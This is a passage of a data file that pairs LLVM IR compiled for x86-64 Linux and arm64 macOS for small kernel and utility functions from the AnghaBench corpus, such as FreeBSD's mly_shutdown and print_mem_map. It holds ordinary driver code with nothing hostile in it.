@.str.2 = private unnamed_addr constant [7 x i8] c"failed\00", align 1
@.str.3 = private unnamed_addr constant [5 x i8] c"done\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @mly_shutdown], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @mly_shutdown(i32 noundef %0) #0 {
%2 = tail call ptr @device_get_softc(i32 noundef %0) #2
%3 = tail call i32 @debug_called(i32 noundef 1) #2
%4 = tail call i32 @MLY_LOCK(ptr noundef %2) #2
%5 = load i32, ptr %2, align 4, !tbaa !6
%6 = load i32, ptr @MLY_STATE_OPEN, align 4, !tbaa !11
%7 = and i32 %6, %5
%8 = icmp eq i32 %7, 0
br i1 %8, label %12, label %9
9: ; preds = %1
%10 = tail call i32 @MLY_UNLOCK(ptr noundef nonnull %2) #2
%11 = load i32, ptr @EBUSY, align 4, !tbaa !11
br label %22
12: ; preds = %1
%13 = getelementptr inbounds i8, ptr %2, i64 8
%14 = tail call i32 @callout_stop(ptr noundef nonnull %13) #2
%15 = tail call i32 @mly_printf(ptr noundef nonnull %2, ptr noundef nonnull @.str) #2
%16 = tail call i64 @mly_flush(ptr noundef nonnull %2) #2
%17 = icmp eq i64 %16, 0
%18 = select i1 %17, ptr @.str.3, ptr @.str.2
%19 = tail call i32 @printf(ptr noundef nonnull @.str.1, ptr noundef nonnull %18) #2
%20 = tail call i32 @MLY_MASK_INTERRUPTS(ptr noundef nonnull %2) #2
%21 = tail call i32 @MLY_UNLOCK(ptr noundef nonnull %2) #2
br label %22
22: ; preds = %12, %9
%23 = phi i32 [ %11, %9 ], [ 0, %12 ]
ret i32 %23
}
declare ptr @device_get_softc(i32 noundef) local_unnamed_addr #1
declare i32 @debug_called(i32 noundef) local_unnamed_addr #1
declare i32 @MLY_LOCK(ptr noundef) local_unnamed_addr #1
declare i32 @MLY_UNLOCK(ptr noundef) local_unnamed_addr #1
declare i32 @callout_stop(ptr noundef) local_unnamed_addr #1
declare i32 @mly_printf(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @printf(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i64 @mly_flush(ptr noundef) local_unnamed_addr #1
declare i32 @MLY_MASK_INTERRUPTS(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"mly_softc", !8, i64 0, !8, i64 4, !8, i64 8}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!8, !8, i64 0}
| freebsd_sys_dev_mly_extr_mly.c_mly_shutdown |
; ModuleID = 'AnghaBench/kphp-kdb/drinkless/extr_dl-perm.c_dl_perm_is_trivial.c'
source_filename = "AnghaBench/kphp-kdb/drinkless/extr_dl-perm.c_dl_perm_is_trivial.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_5__ = type { i64, i64, ptr }
%struct.TYPE_4__ = type { ptr, ptr }
; Function Attrs: mustprogress nofree norecurse nosync nounwind willreturn memory(read, inaccessiblemem: none) uwtable
define dso_local i32 @dl_perm_is_trivial(ptr nocapture noundef readonly %0) local_unnamed_addr #0 {
%2 = load i64, ptr %0, align 8, !tbaa !5
%3 = getelementptr inbounds %struct.TYPE_5__, ptr %0, i64 0, i32 1
%4 = load i64, ptr %3, align 8, !tbaa !11
%5 = icmp eq i64 %2, %4
br i1 %5, label %6, label %18
6: ; preds = %1
%7 = getelementptr inbounds %struct.TYPE_5__, ptr %0, i64 0, i32 2
%8 = load ptr, ptr %7, align 8, !tbaa !12
%9 = icmp eq ptr %8, null
br i1 %9, label %18, label %10
10: ; preds = %6
%11 = getelementptr inbounds %struct.TYPE_4__, ptr %8, i64 0, i32 1
%12 = load ptr, ptr %11, align 8, !tbaa !13
%13 = icmp eq ptr %12, null
br i1 %13, label %14, label %18
14: ; preds = %10
%15 = load ptr, ptr %8, align 8, !tbaa !15
%16 = icmp eq ptr %15, null
%17 = zext i1 %16 to i32
br label %18
18: ; preds = %6, %14, %10, %1
%19 = phi i32 [ 0, %1 ], [ 1, %6 ], [ 0, %10 ], [ %17, %14 ]
ret i32 %19
}
attributes #0 = { mustprogress nofree norecurse nosync nounwind willreturn memory(read, inaccessiblemem: none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"TYPE_5__", !7, i64 0, !7, i64 8, !10, i64 16}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"any pointer", !8, i64 0}
!11 = !{!6, !7, i64 8}
!12 = !{!6, !10, i64 16}
!13 = !{!14, !10, i64 8}
!14 = !{!"TYPE_4__", !10, i64 0, !10, i64 8}
!15 = !{!14, !10, i64 0}
| ; ModuleID = 'AnghaBench/kphp-kdb/drinkless/extr_dl-perm.c_dl_perm_is_trivial.c'
source_filename = "AnghaBench/kphp-kdb/drinkless/extr_dl-perm.c_dl_perm_is_trivial.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: mustprogress nofree norecurse nosync nounwind ssp willreturn memory(read, inaccessiblemem: none) uwtable(sync)
define range(i32 0, 2) i32 @dl_perm_is_trivial(ptr nocapture noundef readonly %0) local_unnamed_addr #0 {
%2 = load i64, ptr %0, align 8, !tbaa !6
%3 = getelementptr inbounds i8, ptr %0, i64 8
%4 = load i64, ptr %3, align 8, !tbaa !12
%5 = icmp eq i64 %2, %4
br i1 %5, label %6, label %18
6: ; preds = %1
%7 = getelementptr inbounds i8, ptr %0, i64 16
%8 = load ptr, ptr %7, align 8, !tbaa !13
%9 = icmp eq ptr %8, null
br i1 %9, label %18, label %10
10: ; preds = %6
%11 = getelementptr inbounds i8, ptr %8, i64 8
%12 = load ptr, ptr %11, align 8, !tbaa !14
%13 = icmp eq ptr %12, null
br i1 %13, label %14, label %18
14: ; preds = %10
%15 = load ptr, ptr %8, align 8, !tbaa !16
%16 = icmp eq ptr %15, null
%17 = zext i1 %16 to i32
br label %18
18: ; preds = %6, %14, %10, %1
%19 = phi i32 [ 0, %1 ], [ 1, %6 ], [ 0, %10 ], [ %17, %14 ]
ret i32 %19
}
attributes #0 = { mustprogress nofree norecurse nosync nounwind ssp willreturn memory(read, inaccessiblemem: none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"TYPE_5__", !8, i64 0, !8, i64 8, !11, i64 16}
!8 = !{!"long", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"any pointer", !9, i64 0}
!12 = !{!7, !8, i64 8}
!13 = !{!7, !11, i64 16}
!14 = !{!15, !11, i64 8}
!15 = !{!"TYPE_4__", !11, i64 0, !11, i64 8}
!16 = !{!15, !11, i64 0}
| kphp-kdb_drinkless_extr_dl-perm.c_dl_perm_is_trivial |
; ModuleID = 'AnghaBench/fastsocket/kernel/net/wireless/extr_reg.c_reg_timeout_work.c'
source_filename = "AnghaBench/fastsocket/kernel/net/wireless/extr_reg.c_reg_timeout_work.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@.str = private unnamed_addr constant [72 x i8] c"Timeout while waiting for CRDA to reply, restoring regulatory settings\0A\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @reg_timeout_work], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @reg_timeout_work(ptr nocapture readnone %0) #0 {
%2 = tail call i32 @REG_DBG_PRINT(ptr noundef nonnull @.str) #2
%3 = tail call i32 @restore_regulatory_settings(i32 noundef 1) #2
ret void
}
declare i32 @REG_DBG_PRINT(ptr noundef) local_unnamed_addr #1
declare i32 @restore_regulatory_settings(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/net/wireless/extr_reg.c_reg_timeout_work.c'
source_filename = "AnghaBench/fastsocket/kernel/net/wireless/extr_reg.c_reg_timeout_work.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@.str = private unnamed_addr constant [72 x i8] c"Timeout while waiting for CRDA to reply, restoring regulatory settings\0A\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @reg_timeout_work], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @reg_timeout_work(ptr nocapture readnone %0) #0 {
%2 = tail call i32 @REG_DBG_PRINT(ptr noundef nonnull @.str) #2
%3 = tail call i32 @restore_regulatory_settings(i32 noundef 1) #2
ret void
}
declare i32 @REG_DBG_PRINT(ptr noundef) local_unnamed_addr #1
declare i32 @restore_regulatory_settings(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| fastsocket_kernel_net_wireless_extr_reg.c_reg_timeout_work |
; ModuleID = 'AnghaBench/fastsocket/kernel/arch/arm/plat-s3c64xx/extr_s3c6400-clock.c_s3c64xx_clk_arm_round_rate.c'
source_filename = "AnghaBench/fastsocket/kernel/arch/arm/plat-s3c64xx/extr_s3c6400-clock.c_s3c64xx_clk_arm_round_rate.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@armclk_mask = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @s3c64xx_clk_arm_round_rate], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i64 @s3c64xx_clk_arm_round_rate(ptr nocapture noundef readonly %0, i64 noundef %1) #0 {
%3 = load i32, ptr %0, align 4, !tbaa !5
%4 = tail call i64 @clk_get_rate(i32 noundef %3) #2
%5 = icmp ult i64 %4, %1
br i1 %5, label %16, label %6
6: ; preds = %2
%7 = udiv i64 %4, %1
%8 = trunc i64 %7 to i32
%9 = add i32 %8, -1
%10 = load i32, ptr @armclk_mask, align 4, !tbaa !10
%11 = icmp sgt i32 %9, %10
%12 = add nsw i32 %10, 1
%13 = select i1 %11, i32 %12, i32 %8
%14 = sext i32 %13 to i64
%15 = udiv i64 %4, %14
br label %16
16: ; preds = %2, %6
%17 = phi i64 [ %15, %6 ], [ %4, %2 ]
ret i64 %17
}
declare i64 @clk_get_rate(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"clk", !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!7, !7, i64 0}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/arch/arm/plat-s3c64xx/extr_s3c6400-clock.c_s3c64xx_clk_arm_round_rate.c'
source_filename = "AnghaBench/fastsocket/kernel/arch/arm/plat-s3c64xx/extr_s3c6400-clock.c_s3c64xx_clk_arm_round_rate.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@armclk_mask = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @s3c64xx_clk_arm_round_rate], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i64 @s3c64xx_clk_arm_round_rate(ptr nocapture noundef readonly %0, i64 noundef %1) #0 {
%3 = load i32, ptr %0, align 4, !tbaa !6
%4 = tail call i64 @clk_get_rate(i32 noundef %3) #2
%5 = icmp ult i64 %4, %1
br i1 %5, label %16, label %6
6: ; preds = %2
%7 = udiv i64 %4, %1
%8 = trunc i64 %7 to i32
%9 = add i32 %8, -1
%10 = load i32, ptr @armclk_mask, align 4, !tbaa !11
%11 = icmp sgt i32 %9, %10
%12 = add nsw i32 %10, 1
%13 = select i1 %11, i32 %12, i32 %8
%14 = sext i32 %13 to i64
%15 = udiv i64 %4, %14
br label %16
16: ; preds = %2, %6
%17 = phi i64 [ %15, %6 ], [ %4, %2 ]
ret i64 %17
}
declare i64 @clk_get_rate(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"clk", !8, i64 0}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!8, !8, i64 0}
| fastsocket_kernel_arch_arm_plat-s3c64xx_extr_s3c6400-clock.c_s3c64xx_clk_arm_round_rate |
; ModuleID = 'AnghaBench/freebsd/usr.sbin/dumpcis/extr_printcis.c_print_mem_map.c'
source_filename = "AnghaBench/freebsd/usr.sbin/dumpcis/extr_printcis.c_print_mem_map.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@.str = private unnamed_addr constant [29 x i8] c"\09Memory space length = 0x%x\0A\00", align 1
@.str.1 = private unnamed_addr constant [45 x i8] c"\09Memory space address = 0x%x, length = 0x%x\0A\00", align 1
@CIS_MEM_HOST = dso_local local_unnamed_addr global i32 0, align 4
@.str.2 = private unnamed_addr constant [25 x i8] c"\09Memory descriptor %d\0A\09\09\00", align 1
@.str.3 = private unnamed_addr constant [21 x i8] c" blk length = 0x%x00\00", align 1
@.str.4 = private unnamed_addr constant [20 x i8] c" card addr = 0x%x00\00", align 1
@.str.5 = private unnamed_addr constant [20 x i8] c" host addr = 0x%x00\00", align 1
@str = private unnamed_addr constant [43 x i8] c"\09Wrong length for memory mapping sub-tuple\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @print_mem_map], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal ptr @print_mem_map(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = tail call i32 @CIS_FEAT_MEMORY(i32 noundef %0) #4
switch i32 %4, label %83 [
i32 128, label %25
i32 130, label %5
i32 131, label %14
]
5: ; preds = %3
%6 = ptrtoint ptr %2 to i64
%7 = ptrtoint ptr %1 to i64
%8 = sub i64 %6, %7
%9 = icmp slt i64 %8, 8
br i1 %9, label %80, label %10
10: ; preds = %5
%11 = tail call i32 @tpl16(ptr noundef %1) #4
%12 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str, i32 noundef %11)
%13 = getelementptr inbounds i32, ptr %1, i64 2
br label %83
14: ; preds = %3
%15 = ptrtoint ptr %2 to i64
%16 = ptrtoint ptr %1 to i64
%17 = sub i64 %15, %16
%18 = icmp slt i64 %17, 16
br i1 %18, label %80, label %19
19: ; preds = %14
%20 = getelementptr inbounds i32, ptr %1, i64 2
%21 = tail call i32 @tpl16(ptr noundef nonnull %20) #4
%22 = tail call i32 @tpl16(ptr noundef %1) #4
%23 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.1, i32 noundef %21, i32 noundef %22)
%24 = getelementptr inbounds i32, ptr %1, i64 4
br label %83
25: ; preds = %3
%26 = icmp ugt ptr %2, %1
br i1 %26, label %27, label %80
27: ; preds = %25
%28 = getelementptr inbounds i32, ptr %1, i64 1
%29 = load i32, ptr %1, align 4, !tbaa !5
%30 = tail call i32 @CIS_MEM_LENSZ(i32 noundef %29) #4
%31 = tail call i32 @CIS_MEM_ADDRSZ(i32 noundef %29) #4
%32 = add nsw i32 %31, %30
%33 = load i32, ptr @CIS_MEM_HOST, align 4, !tbaa !5
%34 = and i32 %33, %29
%35 = icmp eq i32 %34, 0
br i1 %35, label %39, label %36
36: ; preds = %27
%37 = tail call i32 @CIS_MEM_ADDRSZ(i32 noundef %29) #4
%38 = add nsw i32 %37, %32
br label %39
39: ; preds = %36, %27
%40 = phi i32 [ %38, %36 ], [ %32, %27 ]
%41 = tail call i32 @CIS_MEM_WINS(i32 noundef %29) #4
%42 = icmp sgt i32 %41, 0
br i1 %42, label %43, label %83
43: ; preds = %39
%44 = ptrtoint ptr %2 to i64
%45 = sext i32 %40 to i64
br label %46
46: ; preds = %43, %75
%47 = phi i32 [ 0, %43 ], [ %54, %75 ]
%48 = phi ptr [ %28, %43 ], [ %76, %75 ]
%49 = ptrtoint ptr %48 to i64
%50 = sub i64 %44, %49
%51 = ashr exact i64 %50, 2
%52 = icmp slt i64 %51, %45
br i1 %52, label %80, label %53
53: ; preds = %46
%54 = add nuw nsw i32 %47, 1
%55 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.2, i32 noundef %54)
%56 = tail call i32 @CIS_MEM_LENSZ(i32 noundef %29) #4
%57 = or i32 %56, 16
%58 = tail call i32 @print_num(i32 noundef %57, ptr noundef nonnull @.str.3, ptr noundef %48, i32 noundef 0) #4
%59 = sext i32 %58 to i64
%60 = getelementptr inbounds i32, ptr %48, i64 %59
%61 = tail call i32 @CIS_MEM_ADDRSZ(i32 noundef %29) #4
%62 = or i32 %61, 16
%63 = tail call i32 @print_num(i32 noundef %62, ptr noundef nonnull @.str.4, ptr noundef %60, i32 noundef 0) #4
%64 = sext i32 %63 to i64
%65 = getelementptr inbounds i32, ptr %60, i64 %64
%66 = load i32, ptr @CIS_MEM_HOST, align 4, !tbaa !5
%67 = and i32 %66, %29
%68 = icmp eq i32 %67, 0
br i1 %68, label %75, label %69
69: ; preds = %53
%70 = tail call i32 @CIS_MEM_ADDRSZ(i32 noundef %29) #4
%71 = or i32 %70, 16
%72 = tail call i32 @print_num(i32 noundef %71, ptr noundef nonnull @.str.5, ptr noundef %65, i32 noundef 0) #4
%73 = sext i32 %72 to i64
%74 = getelementptr inbounds i32, ptr %65, i64 %73
br label %75
75: ; preds = %69, %53
%76 = phi ptr [ %74, %69 ], [ %65, %53 ]
%77 = tail call i32 @putchar(i8 noundef signext 10) #4
%78 = tail call i32 @CIS_MEM_WINS(i32 noundef %29) #4
%79 = icmp slt i32 %54, %78
br i1 %79, label %46, label %83, !llvm.loop !9
80: ; preds = %46, %25, %14, %5
%81 = phi ptr [ %1, %14 ], [ %1, %5 ], [ %1, %25 ], [ %48, %46 ]
%82 = tail call i32 @puts(ptr nonnull dereferenceable(1) @str)
br label %83
83: ; preds = %75, %39, %10, %19, %3, %80
%84 = phi ptr [ %81, %80 ], [ %1, %3 ], [ %24, %19 ], [ %13, %10 ], [ %28, %39 ], [ %76, %75 ]
ret ptr %84
}
declare i32 @CIS_FEAT_MEMORY(i32 noundef) local_unnamed_addr #1
; Function Attrs: nofree nounwind
declare noundef i32 @printf(ptr nocapture noundef readonly, ...) local_unnamed_addr #2
declare i32 @tpl16(ptr noundef) local_unnamed_addr #1
declare i32 @CIS_MEM_LENSZ(i32 noundef) local_unnamed_addr #1
declare i32 @CIS_MEM_ADDRSZ(i32 noundef) local_unnamed_addr #1
declare i32 @CIS_MEM_WINS(i32 noundef) local_unnamed_addr #1
declare i32 @print_num(i32 noundef, ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @putchar(i8 noundef signext) local_unnamed_addr #1
; Function Attrs: nofree nounwind
declare noundef i32 @puts(ptr nocapture noundef readonly) local_unnamed_addr #3
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nofree nounwind "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nofree nounwind }
attributes #4 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = distinct !{!9, !10}
!10 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = 'AnghaBench/freebsd/usr.sbin/dumpcis/extr_printcis.c_print_mem_map.c'
source_filename = "AnghaBench/freebsd/usr.sbin/dumpcis/extr_printcis.c_print_mem_map.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@.str = private unnamed_addr constant [29 x i8] c"\09Memory space length = 0x%x\0A\00", align 1
@.str.1 = private unnamed_addr constant [45 x i8] c"\09Memory space address = 0x%x, length = 0x%x\0A\00", align 1
@CIS_MEM_HOST = common local_unnamed_addr global i32 0, align 4
@.str.2 = private unnamed_addr constant [25 x i8] c"\09Memory descriptor %d\0A\09\09\00", align 1
@.str.3 = private unnamed_addr constant [21 x i8] c" blk length = 0x%x00\00", align 1
